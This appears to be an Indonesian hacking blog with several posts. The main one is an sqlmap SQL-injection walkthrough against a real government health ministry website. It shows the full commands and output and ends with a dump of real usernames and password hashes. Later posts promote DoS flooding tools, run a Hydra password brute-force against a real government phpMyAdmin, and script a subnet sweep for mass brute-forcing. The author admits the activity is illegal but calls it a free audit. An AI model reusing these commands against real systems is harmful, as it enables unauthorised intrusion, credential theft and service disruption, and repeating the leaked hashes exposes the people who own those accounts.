Minggu, 28 April 2013

sqlmap how to *SQL INjection

halo gays, kemarin pas ujian semester di TK Cendrawasih, saya mendapatkan soal disuruh ngejelasin sqlmap, saya yakin ini tugas dari Bu Wiwid.
ini adalah contoh tutorial sederhana dengan sqlmap, adapun troubleshooting tentang sqlmap dan lain lain akan saya buat di next tutorial.
“sqlmap adalah tools untuk melakukan testing penetrasi sql injection pada suatu web, tools ini menurut saya, tools sql injection yang free paling lengkap untuk saat ini, walaupun ada havij, tapi menurut saya havij kurang advanced, havij lebih banyak dipakai oleh newbie newbie, karena memang kegunaan nya yang sangat simple untuk sekali attack sql injection.”
kali ini saya kasih contoh di http://www.depkes.go.id/, dengan flaws di component joomla depkesdownload.
*perhatian apa yang saya ajarkan ialah ilegal, penggunaan materi ini semata mata untuk tujuan pembelajaran, dan pihak ke tiga atau ke dua dimohon untuk pemahaman nya ini semata semata AUDIT Gratis dari saya tentang website depkes, sebelum ada hacker yang melakukan perusakan terhadap web tersebut.
saya akan selalu menggunakan flag default –threads dan –random-agent dengan kegunaan :
1--threads : max number sqlmap mencoba untuk membuka concurrent http connections.
2--random-agent : load random user agent dari default sqlmap,
total user agent yang bisa digunakan ialah 2078 random user agent.
1$ wc txt/user-agents.txt
22078 23092 198475 txt/user-agents.txt
penggunaan sqlmap secara standart :
1root@ubuntu:~/sqlmap-dev# ./sqlmap.py -u "URL" --random-agent --threads X --banner --dbs --tables --columns --dump --dumpall
1. test injeksi dengan men-fetch banner mysql (versi mysql)
01root@ubuntu:~/sqlmap-dev# ./sqlmap.py -u "http://www.depkes.go.id/index.php/component/depkesdownload/index.php?option=com_depkesdownload&itemid=21&folderid=51" --random-agent --threads 10 --banner
02sqlmap/1.0-dev (r4370) - automatic SQL injection and database takeover tool
04[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program
05[*] starting at 22:09:14
06[22:09:14] [INFO] fetched random HTTP User-Agent header from file '/root/sqlmap-dev/txt/user-agents.txt': Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.1) Gecko/20090624 Firefox/3.5
07[22:09:15] [INFO] using '/root/sqlmap-dev/output/www.depkes.go.id/session' as session file
08[22:09:15] [INFO] testing connection to the target url
09[22:09:15] [INFO] testing if the url is stable, wait a few seconds
10[22:09:16] [INFO] url is stable
11---8<------ snip
12[22:11:31] [INFO] GET parameter 'folderid' is 'MySQL > 5.0.11 AND time-based blind' injectable
13[22:11:31] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
14[22:11:34] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
15[22:11:36] [INFO] testing 'Generic UNION query with Microsoft Access () comment (NULL) - 1 to 10 columns'
16GET parameter 'folderid' is vulnerable. Do you want to keep testing the others? [y/N] n
17sqlmap identified the following injection points with a total of 445 HTTP(s) requests:
18---
19Place: GET
20Parameter: folderid
21Type: boolean-based blind
22Title: AND boolean-based blind - WHERE or HAVING clause
23Payload: option=com_depkesdownload&itemid=21&folderid=51' AND 8184=8184 AND 'TEzv'='TEzv
24Type: AND/OR time-based blind
25Title: MySQL > 5.0.11 AND time-based blind
26Payload: option=com_depkesdownload&itemid=21&folderid=51' AND SLEEP(5) AND 'ISyk'='ISyk
27---
28[22:14:12] [INFO] the back-end DBMS is MySQL
29[22:14:12] [INFO] fetching banner
30[22:14:12] [INFO] retrieving the length of query output
31[22:14:12] [INFO] retrieved: 6
32[22:14:21] [INFO] retrieved: 5.0.45
33web server operating system: Linux CentOS 5
34web application technology: Apache 2.2.3, PHP 5.1.6
35back-end DBMS: MySQL 5.0.11
36banner: '5.0.45'
37[22:14:21] [WARNING] HTTP error codes detected during testing:
38404 (Not Found) - 198 times
39[22:14:21] [INFO] Fetched data logged to text files under '/root/sqlmap-dev/output/www.depkes.go.id'
40[*] shutting down at 22:14:21
apa yang saya lakukan pertama kali untuk memfetch banner dari dbms itu penting, karena dengan melakukan injeksi pancingan ke web, sqlmap akan mendapatkan route map dari injeksi website tersebut, sehingga serangan injeksi selanjutnya akan lebih mudah bagi sqlmap.
pada awal injeksi menggunakan sqlmap, disarankan untuk men-fetch banner terlebih dahulu, dengan metode tebak tebak an injeksi ini sqlmap akan lebih gampang membuild road map dari jenis injeksi dbms si website, sekedar sharing saya pernah tidak men-fetch banner terlebih dahulu melainkan langsung dengan metode –dbs, namun hasilnya gagal, ketika dicoba lain kali dengan injeksi –banner sqlmap berhasil men-injeksi web tersebut, dan viola kesana nya pun sqlmap mudah untuk fetch data.
dari hasil injeksi fetch banner mysql, kita mendapatkan positive impact dari target, yaitu keluarnya hasil untuk versi DBMS yaitu : MySQL 5.0.11 dengan tipe injeksi MySQL Blind.
2. fetch user yang digunakan, dan db yang sedang digunakan dengan flag (–current-user dan –current-db)
langkah ke dua ialah analisis user yang dipakai di DBMS dan DB yang sedang digunakan pada website tersebut.
01root@ubuntu:~/sqlmap-dev# ./sqlmap.py -u "http://www.depkes.go.id/index.php/component/depkesdownload/index.php?option=com_depkesdownload&itemid=21&folderid=51" --random-agent --threads 10 --current-user --current-db
02--------8<--- snip
03[22:24:23] [INFO] the back-end DBMS is MySQL
04web server operating system: Linux CentOS 5
05web application technology: Apache 2.2.3, PHP 5.1.6
06back-end DBMS: MySQL 5.0.11
07[22:24:23] [INFO] fetching current user
08[22:24:23] [INFO] retrieving the length of query output
09[22:24:23] [INFO] read from file '/root/sqlmap-dev/output/www.depkes.go.id/session': 20
10[22:24:46] [INFO] retrieved: website-in@localhost
11current user: 'website-in@localhost'
12[22:24:46] [INFO] fetching current database
13[22:24:46] [INFO] retrieving the length of query output
14[22:24:46] [INFO] retrieved: 6
15[22:24:55] [INFO] retrieved: portal
16current database: 'portal'
17[22:24:55] [INFO] Fetched data logged to text files under '/root/sqlmap-dev/output/www.depkes.go.id'
18[*] shutting down at 22:24:55
3. fetch list database yang bisa dihandle oleh user website-in@localhost dengan flag (--dbs)
selanjutnya kita melakukan fetching list database, dengan mengetahui list databse yang lain kita dapat bebas melakukan injeksi pada setiap database yang available untuk di injeksi.
01root@ubuntu:~/sqlmap-dev# ./sqlmap.py -u "http://www.depkes.go.id/index.php/component/depkesdownload/index.php?option=com_depkesdownload&itemid=21&folderid=51" --random-agent --threads 10 --dbs
02--------8<--- snip
03[22:36:06] [INFO] the back-end DBMS is MySQL
04web server operating system: Linux CentOS 5
05web application technology: Apache 2.2.3, PHP 5.1.6
06back-end DBMS: MySQL 5.0.11
07[22:36:06] [INFO] fetching database names
08[22:36:06] [INFO] fetching number of databases
09[22:36:06] [INFO] retrieved: 2
10[22:36:08] [INFO] retrieving the length of query output
11[22:36:08] [INFO] retrieved: 18
12[22:36:31] [INFO] retrieved: information_schema
13[22:36:31] [INFO] retrieving the length of query output
14[22:36:31] [INFO] retrieved: 6
15[22:36:40] [INFO] retrieved: portal
16available databases [2]:
17[*] information_schema
18[*] portal
19[22:36:40] [INFO] Fetched data logged to text files under '/root/sqlmap-dev/output/www.depkes.go.id'
20[*] shutting down at 22:36:40
ternyata hanya 2 database yang avail, yaitu information_schema dan database portal, kita langsung injeksi untuk database portal saja yah, information_schema nya silahkan googling sendiri.
4. fetch list tables di database portal dengan flag (-D portal --tables)
1root@ubuntu:~/sqlmap-dev# ./sqlmap.py -u "http://www.depkes.go.id/index.php/component/depkesdownload/index.php?option=com_depkesdownload&itemid=21&folderid=51" --random-agent --threads 10 -D portal --tables
karena log / verbose yang dihasilkan panjang sekali, kita bisa langsung cek hasil dari setiap log injeksi di folder output/web
berikut contoh list tables yang berhasil di injeksi dari database portal, ada 89 tables.
01root@ubuntu:~/sqlmap-dev/output/www.depkes.go.id# cat log
02-----8<---- snip ---
03Database: portal
04[89 tables]
05+------------------------------+
06| jos_assignments |
07| jos_banner |
08| jos_bannerclient |
09| jos_bannertrack |
10| jos_categories |
11| jos_components |
12| jos_contact_details |
13| jos_content |
14| jos_content_frontpage |
15| jos_content_rating |
16| jos_core_acl_aro |
17| jos_core_acl_aro_groups |
18| jos_core_acl_aro_map |
19| jos_core_acl_aro_sections |
20| jos_core_acl_groups_aro_map |
21| jos_core_log_items |
22| jos_core_log_searches |
23| jos_downloads |
24| jos_downloads_blob |
25| jos_downloads_category |
26| jos_downloads_classify |
27| jos_downloads_containers |
28| jos_downloads_file_classify |
29| jos_downloads_files |
30| jos_downloads_folders |
31| jos_downloads_log |
32| jos_downloads_repository |
33| jos_downloads_reviews |
34| jos_downloads_structure |
35| jos_downloads_text |
36| jos_groups |
37| jos_hwdvidsantileech |
38| jos_hwdvidscategories |
39| jos_hwdvidsfavorites |
40| jos_hwdvidsflagged_groups |
41| jos_hwdvidsflagged_videos |
42| jos_hwdvidsgroup_membership |
43| jos_hwdvidsgroup_videos |
44| jos_hwdvidsgroups |
45| jos_hwdvidsgs |
46| jos_hwdvidslogs_archive |
47| jos_hwdvidslogs_favours |
48| jos_hwdvidslogs_views |
49| jos_hwdvidslogs_votes |
50| jos_hwdvidsplugin |
51| jos_hwdvidsrating |
52| jos_hwdvidsss |
53| jos_hwdvidsvideos |
54| jos_jdownloads_cats |
55| jos_jdownloads_config |
56| jos_jdownloads_files |
57| jos_jdownloads_license |
58| jos_jdownloads_templates |
59| jos_menu |
60| jos_menu_types |
61| jos_messages |
62| jos_messages_cfg |
63| jos_migration_backlinks |
64| jos_mod_apotik |
65| jos_mod_puskesmas |
66| jos_mod_puskesmas15072011 |
67| jos_mod_puskesmas24112010 |
68| jos_mod_puskesmas_23012011 |
69| jos_mod_puskesmas_old |
70| jos_mod_rumah_sakit |
71| jos_modules |
72| jos_modules_menu |
73| jos_newsfeeds |
74| jos_permissions |
75| jos_phocadownload |
76| jos_phocadownload_categories |
77| jos_phocadownload_licenses |
78| jos_phocadownload_sections |
79| jos_phocadownload_settings |
80| jos_phocadownload_user_stat |
81| jos_plugins |
82| jos_poll_data |
83| jos_poll_date |
84| jos_poll_menu |
85| jos_polls |
86| jos_rokdownloads |
87| jos_rokversions |
88| jos_sections |
89| jos_session |
90| jos_stats_agents |
91| jos_swmenufree_config |
92| jos_templates_menu |
93| jos_users |
94| jos_weblinks |
95+------------------------------+
5. fetch isi kolum pada setiap tables dengan flag (--columns)
setelah itu mari kita ke final step pada setiap langkah langkah menginjeksi suatu web, yaitu memfetch isi dari tables. karena tabel yang menarik dari list diatas yaitu tabel users, maka langsung kita fetch isi tabel tersebut
sebelumnya kita fetch dulu list kolum pada tabel tersebut, dan fetch data dari kolum hanya yang penting saja, kita fetch dengan flag (-D portal -T jos_users --columns)
01root@ubuntu:~/sqlmap-dev# ./sqlmap.py -u "http://www.depkes.go.id/index.php/component/depkesdownload/index.php?option=com_depkesdownload&itemid=21&folderid=51" --random-agent --threads 10 -D portal -T jos_users --columns
02----8<----snip
03+---------------+---------------------+
04| Column | Type |
05+---------------+---------------------+
06| activation | varchar(100) |
07| block | tinyint(4) |
08| email | varchar(100) |
09| gid | tinyint(3) unsigned |
10| id | int(11) |
11| lastvisitDate | datetime |
12| name | varchar(255) |
13| params | text |
14| password | varchar(100) |
15| registerDate | datetime |
16| sendEmail | tinyint(4) |
17| username | varchar(150) |
18| usertype | varchar(25) |
19+---------------+---------------------+
20[02:39:42] [INFO] Fetched data logged to text files under '/root/sqlmap-dev/output/www.depkes.go.id'
21[*] shutting down at 02:39:42
sekarang kita akan men-fetch hanya isi dari kolum (username, dan password), dengan flag (-D portal -T jos_users -C username,password --dump), flag --dump berguna untuk men-dump isi dari kolum kedalam log sqlmap sehingga bisa kita liat secara permanen di hardisk tanpa melakukan injeksi ulang (logging)
1root@ubuntu:~/sqlmap-dev# ./sqlmap.py -u "http://www.depkes.go.id/index.php/component/depkesdownload/index.php?option=com_depkesdownload&itemid=21&folderid=51" --random-agent --threads 10 -D portal -T jos_users -C username,password --dump
hasil yang terlog di folder log/web
01root@ubuntu:~/sqlmap-dev# cat output/www.depkes.go.id/log
02----------8<----snip
03Database: portal
04Table: jos_users
05[11 entries]
06+-------------------------------------------------------------------+---------------+
07| password | username |
08+-------------------------------------------------------------------+---------------+
09| 35d1b3c70e13825c0d4a67843adbf6ef:sQEMDKp8NKGSLMMKP5DocOSMwO1uCV3l | admin |
10| f45161dd4038a5946c1dbcc59dbc0d6a:JUYQ0bIg2mt0XrIotHzVRw4yTowVCgIi | andri |
11| 06b60c7bbdd5e197810d9018c3640ccd:MXghhJp9fJc8uadkcrZC30dZhyn3JnK7 | dewi_roro |
12| 1e41bc000f1461a1410823fcdd7f0c22:eNKOmRJO35Mxa5PqI8jJAxAR7mN4qPxO | ipunk |
13| 30f9ade9382291ffaf41ba0e35fa54ca:EOnhJGXlt5LLl0cefNLleOYQ8OCCgloc | ismail |
14| d8c27e4de63a2c48e4a66ec8d88160c8:I30jspHGk6lPca18gwX1k069vqopqnoc | isti |
15| faf5fc5f3d5901d79a396c62cacdc639:dRzIfNbjgAkj5Bco281VE1y6PiaKQLLa | Miemie Widya |
16| 42fac0d700127746caac2c225b1f0427:pGFxjurnXno3dLMZMxwhdGe65NsI0zDl | puskom |
17| d7c49e113aca936ed03c452c71784e7b:7mABDrLJBxFSbLyiDTcCi2Xr5agcxeGc | rsud meureudu |
18| 27a94db23c3d203edbcd7314a998bf9e:R3x0ypx8lbe7yrAylDbixbf0pDdZ2KDb | silver |
19| 50a09da3b0d90b736e939862ef565c4d:YGJbFZxWVEayGlylKuyLvmY5wadgQy5K | supriyono |
20+-------------------------------------------------------------------+---------------+
adapun csv dari hasil dump ada berada di subfolder dump di setiap folder log web tersebut

untuk melakukan full dump satu kolum bisa menggunakan flag (-D portal -T jos_users --columns --dump) namun isinya berantakan dikarenakan banyak jumlah kolum, jadi lebih baik kita fetch kolum yang dianggap perlu saja, berikut dari hasil full dump untuk tabel jos_users : jos_users.txt
hal terbaik dari teknik sql injection menggunakan tools ialah jika digabungkan dengan tools proxychains, yang akan menghasilkan tools hack website yang stealth, powerfull namun sederhana.
Good Luck!

DoS di jaringan IPv6

Quote:
Originally Posted by ydoeulovemie View Post
Gw lg skripsi ttg DoS di jaringan IPv6.. Dan gw awam banget..
Mau tanya teknis..
1. Utk awal gw pake virtualbox, gimana cara hubungin 2 virtual OS biar nyambung yah? Pake Host only adapter atau internal adapter?
2. Gimana cara aktifin ipv6 only network?
3. Gimana cara DoS komputer/virtual os seberang? Cuma ada 2 workstation dlm 1 environment, attacker dan server aja..
Gw pake kabel ethernet.. Ga pake wlan..

gw uda cari2 referensi, video, beli tutor backtrack, ga ada yg bahas..

Thanks banget buat suhu2 di sini..

wah si unyu, kebetulan nih ipv6, coba research ini, kelar deh skripsi lo wkwk :

Code:
http://samsclass.info/ipv6/proj/flood-router6a.htm
nih juga buat bahan bacaan lo,

Code:
1. http://www.vintage-computer.com/vcforum/showthread.php?23885-What-does-IPv6-mean-for-DOS
2. http://it.slashdot.org/story/07/05/11/2247245/IPv6-Flaw-Could-Greatly-Amplify-DDoS-Attacks
3. http://portal.acm.org/citation.cfm?id=1259588.1259893&preflayout=tabs
4. http://www.sixxs.net/forum/?msg=general-850316
5. http://docs.google.com/viewer?a=v&q=cache:mRfr-YZx4KUJ:iaw2009.iitm.ernet.in/outcome/ipv6/IPv6.pdf+ipv6+and+ddos&hl=en&pid=bl&srcid=ADGEEShCwp-JjygfzzB_Sfm8oe2ECfZ-Km-YTfiBTpmD5tkG3E5lXWoqXUHDqSXGAE2TXwPV9eWuoUT6UIY3Nqd7ObKgEweWh1-ED_x53WkrXqFGhZ4mEphx4-C3vNHgtmzohqD2W2ia&sig=AHIEtbQ6hJ3vS0HyOFePnYVzCdEn2ufYHg
6. http://www.webhostingtalk.com/showthread.php?t=899608
nih yang ini buat mesin linux 2.5 juta perak buat jadi ipv6 ddos ranger haha

Code:
http://www.theregister.co.uk/2007/05/11/ipv6_flaw_scramble/
yang ini orang yang kena attack DDOS ipv6

Code:
http://notetome.blogspot.com/2010/11/our-server-is-getting-attacked-by-ddos.html

Denial of Service [ DDOS ]


Another tools original kreasi anak bangsa haha..
Sebelumnya salam kenal buat agan2 semua disini, masih nubi nih  mau sharing aja..
Pastinya udah pada tau kalau yang namanya denial of service atau ddos itu mungkin sampai sekarang belom ada obatnya.. nah di backtrack ada beberapa yg kita tau seperti syn flood, slowloris, hping3, etc.. pasti agan2 disini udah ada yang pernah nyobain salah satu di antaranya, hmm.. berarti gak ada salahnya untuk nyoba tools buatan anak bangsa, dalam negeri gan hehe Authornya asli dari dalam negri, namanya abi tinggal nya di bekasi hihihi..
Oke langsung aja nih..

Sedikit penjelasan tentang tools ini.
Nama tools nya gxDoS
* feature yang ada adalah :
- arp flood
- tcp flood
- udp flood
- ping of death
Bisa di lihat dan di rasain nanti perbedaannya, powerful
Sample output untuk gxDos :

Seperti halnya tools yg lain, gxDoS ini pun ada requirement nya yaitu scapy. Scapy merupakan modul dari python yg menjadi salah satu depedensinya namun pengecualiannya yaitu, pada BackTrack 5 yg sekarang scapy telah di include. jadi agan2 gak perlu install lagi karena gxDos langsung bisa di gunakan.. Sekilas README yg berisi HOW-TO tentang gxDoS bisa di lihat di link di bawah ini :

- HOW TO : http://bt.gxrg.org/other/tools/scrip...v.0.0.1/README

gxDoS.py v.0.0.1 bisa di download di link di bawah ini :

- Download : http://bt.gxrg.org/other/tools/scrip...gxDoS-v.0.0.1/

Berhubung masih dalam suasana lebaran, Mohon maaf lahir dan batin yaaa kalo ada kata2 gw yang salah atau dari gaya bahasa dan cara nulisnya hehehe mohon di maklumin gan masih nubi..

DDosim bt5


lanjutin tuts ddosim dari mastah murray ---------------------

Ketika mencoba untuk meng-compile ddosim pada BT5 pasti keluar error, karena library bawaan BT5 lebih baru dibandingkan yg diperlukan ddosim (libnet0 dan libnet0-dev yg sudah absolete aka tidak di-update lagi).
Langsung aja ya ke tutsnya
Spoiler for ddosim-bt5:
DDOSIM On Backtrack 5
1. Donlot dulu paket libnet0 dan libnet0-dev yg diperlukan dari sini(kernel.org) beserta ddosim
UPDATE :
link local libnet0 dari mastah murray
Spoiler for libnet0:

sesuaikan paket dengan sistem anda.
- BT 32bit --> pilih yg belakangnya i386.deb
- BT 64bit --> pilih yg belakangnya amd64.deb
2. install libnet0 yg telah di donlot: (hasil donlot ane di '~/Desktop')
Code:
root@bt:~# cd Desktop/     
root@bt:~/Desktop# dpkg -i libnet0_1.0.2a-7_i386.deb
root@bt:~/Desktop# dpkg -i libnet0-dev_1.0.2a-7_i386.deb
3. selanjutnya compile dan install ddosim
Code:
root@bt:~/Desktop# apt-get install build-essential
root@bt:~/Desktop# apt-get install libpcap-dev
root@bt:~/Desktop# tar xfvz ddosim-0.2.tar.gz 
root@bt:~/Desktop# cd ddosim-0.2
root@bt:~/Desktop/ddosim-0.2# ./configure 
root@bt:~/Desktop/ddosim-0.2# make
root@bt:~/Desktop/ddosim-0.2# make install
4. untuk mengecek apakah ddosim terinstall dengan benar, ketik 'ddosim'.
apabila keluar option penggunaan ddosim berarti sudah terinstall dengan baik

* tested on BT5 x86 gnome
contoh penggunaan ddosim ada dipost mastah murray yg disertakan pada awal post

Sabtu, 27 April 2013

nmap buat nebak OS

Quote:Original Posted By fuzamaru

maksutnya kita ga boleh pake yang " : ) " lagi gan kalo  boleh ga ?
----------------
sepuh skalian nanya ane kan udah downloaddriver dari nvidia gvorce dan dapet dengan file tipe berupa .run ane klik ternyata ga otomatis jadi sebenernya cara ngistallnya gimana si


terserah asal jangan : )

---------------------------------

masuk ke init 3 (CTRL + ALT + SHIFT + 3)

Quote:# sh nvidia-driver.run

Quote:Original Posted By drewkiller
Bro murray, gw mo nanya nih soal Nmap di BT5..
gw pernah scan dengan perintah gini di terminal

tapi knapa ya kadang2 gak berhasil tampilin info OS dan lain2nya..
(intinya kadang berhasil,tp kdng juga gak)

sbenernya Faktor yg pengaruhi kberhasilan scaning Nmap ini apa ya?
apa ada teknik trtentu biar Nmap jadi maksimal ? klo ada,ajarin ya Bro..



NMAP nebak OS korban dengan melakukan analisa sampling TCP ISN yang diambil nmap ketika melakukan scanning.

sample TCP ISN di analisa setiap bit, dan dicocokan dengan database OS NMAP, jadi NMAP juga enggak tau pasti OS dari setiap korban yang bakal di scan sama NMAP.

nah kalo lo misal mau ambil sample dari air yang tercemar di sungai apa aja kira kira most important step?

1. deket sama sumber (karena semakin deket sama sumber semakin bagus)
2. ambil sample dimana sumber tersebut berada.
3. singkirin dulu noise / host host lain
4. gunain timing NMAP yang mixed antara lama sama sekali toel.
5. etc tergantung kondisi.

Brute Password phpmyadmin....!!!

Quote:Original Posted By linuxeruciha ►
sebelmnya mhn maaf jika ada kata-kata yang salah...
gan ane mau tanya kira-kira kalau tools di backtrack untuk brute password phpmyadmin ada ?????


phpmyadmin auth ref : http://wiki.phpmyadmin.net/pma/Auth_types

Quote:auth_type http also prompts for a MySQL username and password, but does so using HTTP Basic authentication. The look of the prompt is determined by the browser; most pop up a login window.

kita pake hydra aja deh.

contoh :

untuk awal pasti begini, timeout

Quote:root@root:~# hydra -l root -P /pentest/passwords/wordlists/darkc0de.lst air.bappenas.go.id http-head /phpmyadmin/
Hydra v6.5 (c) 2011 by van Hauser / THC and David Maciejak - use allowed only for legal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2011-09-16 07:10:48
[DATA] 16 tasks, 1 servers, 1707656 login tries (l:1/p:1707656), ~106728 tries per task
[DATA] attacking service http-head on port 80
Warning: Timeout from child 0, restarting
Warning: Timeout from child 1, restarting
Warning: Timeout from child 2, restarting
Warning: Timeout from child 3, restarting
Warning: Timeout from child 4, restarting
Warning: Timeout from child 5, restarting
Warning: Timeout from child 6, restarting
Warning: Timeout from child 7, restarting
Warning: Timeout from child 8, restarting
Warning: Timeout from child 9, restarting
Warning: Timeout from child 10, restarting
Warning: Timeout from child 11, restarting
Warning: Timeout from child 12, restarting
Warning: Timeout from child 13, restarting
Warning: Timeout from child 14, restarting
Warning: Timeout from child 15, restarting


kita naikin timeout time nya jadi 50 (default : 20), lalu turunin thread nya jadi 10 (default : 16)

Quote:root@root:~# hydra -l root -P /pentest/passwords/wordlists/darkc0de.lst air.bappenas.go.id http-head /phpmyadmin/ -t 10 -w 50
Hydra v6.5 (c) 2011 by van Hauser / THC and David Maciejak - use allowed only for legal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2011-09-16 06:56:16
[DATA] 10 tasks, 1 servers, 1707656 login tries (l:1/p:1707656), ~170765 tries per task
[DATA] attacking service http-get on port 80
[STATUS] 1447.00 tries/min, 1447 tries in 00:01h, 1706209 todo in 19:40h
[STATUS] 1442.33 tries/min, 4327 tries in 00:03h, 1703329 todo in 19:41h


ini contoh nambahin Verbose

Quote:root@root:~# hydra -l root -P /pentest/passwords/wordlists/darkc0de.lst air.bappenas.go.id http-head /phpmyadmin/ -t 10 -w 50 -V
Hydra v6.5 (c) 2011 by van Hauser / THC and David Maciejak - use allowed only for legal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2011-09-16 07:05:24
[DATA] 10 tasks, 1 servers, 1707656 login tries (l:1/p:1707656), ~170765 tries per task
[DATA] attacking service http-head on port 80
[ATTEMPT] target air.bappenas.go.id - login "root" - pass "" - child 0 - 1 of 1707656
[ATTEMPT] target air.bappenas.go.id - login "root" - pass " - child 1 - 2 of 1707656
[ATTEMPT] target air.bappenas.go.id - login "root" - pass " - child 2 - 3 of 1707656
[ATTEMPT] target air.bappenas.go.id - login "root" - pass " - child 3 - 4 of 1707656
[ATTEMPT] target air.bappenas.go.id - login "root" - pass " - child 4 - 5 of 1707656
[ATTEMPT] target air.bappenas.go.id - login "root" - pass " - child 5 - 6 of 1707656
[ATTEMPT] target air.bappenas.go.id - login "root" - pass " - child 6 - 7 of 1707656
[ATTEMPT] target air.bappenas.go.id - login "root" - pass " - child 7 - 8 of 1707656
[ATTEMPT] target air.bappenas.go.id - login "root" - pass " - child 8 - 9 of 1707656
[ATTEMPT] target air.bappenas.go.id - login "root" - pass " " - child 9 - 10 of 1707656
[ATTEMPT] target air.bappenas.go.id - login "root" - pass "!magnus" - child 0 - 11 of 1707656
[ATTEMPT] target air.bappenas.go.id - login "root" - pass "!power" - child 9 - 12 of 1707656
[ATTEMPT] target air.bappenas.go.id - login "root" - pass ""A" SIDES" - child 3 - 13 of 1707656
[ATTEMPT] target air.bappenas.go.id - login "root" - pass ""DETROIT" GARY & CC TH WIGGINS" - child 0 - 14 of 1707656
-------8<---------snip
[ATTEMPT] target air.bappenas.go.id - login "root" - pass "# List of common male names." - child 1 - 56 of 1707656


good luck!

exporting host list ke hydra

exporting host list ke hydra

kalo kita pentest satu segment, misal pentesting 192.168.5.x

kita bisa pake mode -M host_list.txt sehingga hydra bisa massive bruteforce ke list yang alive host.

bisa pake bash programming, dengan contoh :
Quote:
# for i in 192.168.5.{1..254} ; do if ping -c1 -w1 $i &>/dev/null; then echo $i alive; fi; done >> host_list.txt
so kita punya file host_list.txt yang isinya seperti ini contoh :
Quote:
192.168.5.4
192.168.5.6
192.168.5.9
192.168.5.10
nanti hydra panggil nya tinggal
Quote:
# hydra -L user.txt -P pass.txt -M host_list.txt <service>
jangan lupa threads hydra di kurangin jadi 10, dan timeout nya jadi 50